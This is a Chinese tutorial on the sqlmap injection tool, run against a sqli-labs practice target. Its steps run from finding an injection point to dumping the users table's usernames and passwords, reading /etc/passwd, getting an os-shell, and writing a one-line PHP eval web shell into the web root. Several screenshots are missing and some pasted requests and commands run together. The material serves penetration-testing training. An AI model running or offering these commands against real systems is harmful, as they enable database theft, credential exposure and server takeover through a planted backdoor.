sqlmap使用详解
简介
sqlmap是一款基于python编写的渗透测试工具,在sql检测和利用方面功能强大,支持多种数据库。
一、SQLMap拖库
SQLMap可以完成注入点的发现,数据库类型的确认,WebShell权限和路径的确认,拖库等一系列功能。测试的Payload共分为5级:Level 1 ~ Level 5,Level 1属于基础级,Payload相对较少,Level 5 Payload很多。
1、当我们发现注入点的时候
sqlmap -u "http://192.168.12.129:81/sqli-labs/Less-1/?id=1"
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FFjCRDmC-1675326304100)(Untitled.assets/image-02162.png)]
2、查看所有的数据库
sqlmap -u "http://192.168.12.129:81/sqli-labs/Less-1/?id=1" --dbs
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iYCjdFJH-1675326304101)(Untitled.assets/image-021716570.png)]
3、查看当前使用的数据库
sqlmap -u "http://192.168.12.129:81/sqli-labs/Less-1/?id=1" --current-db
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AfnZKIbK-1675326304101)(Untitled.assets/image-021812701.png)]
4、接下来对当前使用的数据库进行查询
sqlmap -u "http://192.168.12.129:81/sqli-labs/Less-1/?id=1" --tables -D "security"
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cpEApaiD-1675326304102)(Untitled.assets/image-040244571.png)]
5、查出所有表以后,对user表的列名进行查询
sqlmap -u "http://192.168.12.129:81/sqli-labs/Less-1/?id=1" --columns -T "users" -D "security"
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qrO3qe4D-1675326304102)(Untitled.assets/image-040320687.png)]
6、users表中的列名已经知道了,可以直接查出所有数据
sqlmap -u "http://192.168.12.129:81/sqli-labs/Less-1/?id=1" --dump -C "id,username,password" -T "users" -D "security"
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-f9ASEddX-1675326304103)(Untitled.assets/image-040501388.png)]
完成拖库操作后,可以在输出中查看到表数据,也可以直接根据提示信息进入相应文件查看内容
7、直接指定数据库类型,节省检测时间
sqlmap -u "http://192.168.12.129:81/sqli-labs/Less-1/?id=1" --dbs --dbms=mysql
8、判断是否是DBA
sqlmap -u "http://192.168.12.129:81/sqli-labs/Less-1/?id=1" --dbms=mysql --is-dba
二、POST和Cookie
1、如果某个注入点需要先登录,那么可以手工登录后,使用相同的Cookie进行处理
sqlmap -u "http://192.168.12.129:81/sqli-labs/Less-1/?id=1" --cookie="PHPSESSID=fmlb03brefa390u2p7qjhdphg3" --dbs
2、如果注入点不是GET请求,而是POST请求,则要添加POST正文
先将POST请求在Burp中进行捕获,将请求内容保存到文件中。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9aNeacAG-1675326304103)(Untitled.assets/image-051144682.png)]
通常的POST请求正文内容如下:、
POST /sqli-labs/Less-15/ HTTP/1.1Host: 192.168.12.129:81User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/0101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Referer: http://192.168.12.129:81/sqli-labs/Less-15/Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 30uname=a&passwd=a&submit=Submit
运行SQLMap时,再通过-r参数指定文件,同时通过-p参数明确指定参数名(上述请求的参数为id),实现注入。
sqlmap -r post.txt -p uname passwd --dbs
需要注意的是,由于URL地址已经在sql-post.txt的请求内容中,所以不再需要指定-u参数。如果不通过-p指定id参数,则SQLMap会尝试所有的参数进行注入测试。如uname=a&passwd=a&submit=Submit,此处3个参数都会被尝试。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-e2wPVZ4l-1675326304104)(Untitled.assets/image-052033542.png)]
新版本的SQLMap在处理HTTP请求类型时会进行自动检测,即使没有明确请求类型是GET还是POST,也是基本可以实现功能的。
三、os-shell
前提条件:
知道网站的绝对路径
要有文件导入到处的权限
由
secure_file_priv
参数控制
为 null 时–>表示不允许导入导出
为具体文件夹时–>表示仅允许在这个文件夹下导入导出
没有值(为空)时–>表示可以在任何文件夹下导入导出
1、整个过程分为三个部分:
选择脚本语言
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CxUxGYzV-1675326304104)(Untitled.assets/image-054646192.png)]
选择写入路径
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EYsjJAT7-1675326304105)(Untitled.assets/image-054658152.png)]
获取shell
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-D1e6SCdJ-1675326304105)(Untitled.assets/image-054710919.png)]
# 关联会话POST请求:sqlmap -r post.txt -p uname --cookie="PHPSESSID=gf1al1587kv8a76ujnhpcnk0h0" --dbms=mysql --os-shell GET请求:sqlmap -u "http://192.168.12.129:81/sqli-labs/Less-39/?id=1" --cookie="PHPSESSID=opibuh4iqj5qvius59ir8ce5o3 " --dbms=mysql --os-shell# 未关联会话:qlmap -u "http://192.168.12.129:81/sqli-labs/Less-39/?id=1" --dbms=mysql --os-shell
2、手工读写文件
# 读取远程服务器上的文件sqlmap -r post.txt -p uname --dbms=mysql --file-read "/etc/passwd"# 木马写入:1、准备一个木马文件mm.php: <?php eval($_GET['id']); ?>2、准备注入命令:# 当SQL不能自动完成木马植入时,可以使用此命令进行手工植入sqlmap -r post.txt -p uname --dbms=mysql --file-write mm.php --file-dest "/opt/lampp/htdocs/mm.php" # POST请求sqlmap -u "http://192.168.12.129:81/sqli-labs/Less-39/?id=1" --dbms=mysql --file-write mm.php --file-dest "/opt/lampp/htdocs/mm.php" # GET请求# 此时,也可以使用Python调用sqlmap的命令 (os.popen("").read())进行盲猜,循环遍历目录字典文件。sqlmap -u "http://192.168.12.129:81/sqli-labs/Less-39/?id=1" --dbms=mysql --file-write mm.php --file-dest "/opt/lampp/htdocs/mm.php" --batch# --batch参数可以直接一次性运行完,SQLMap中途不会询问(非交互模式),按照默认设置,适合于自动化。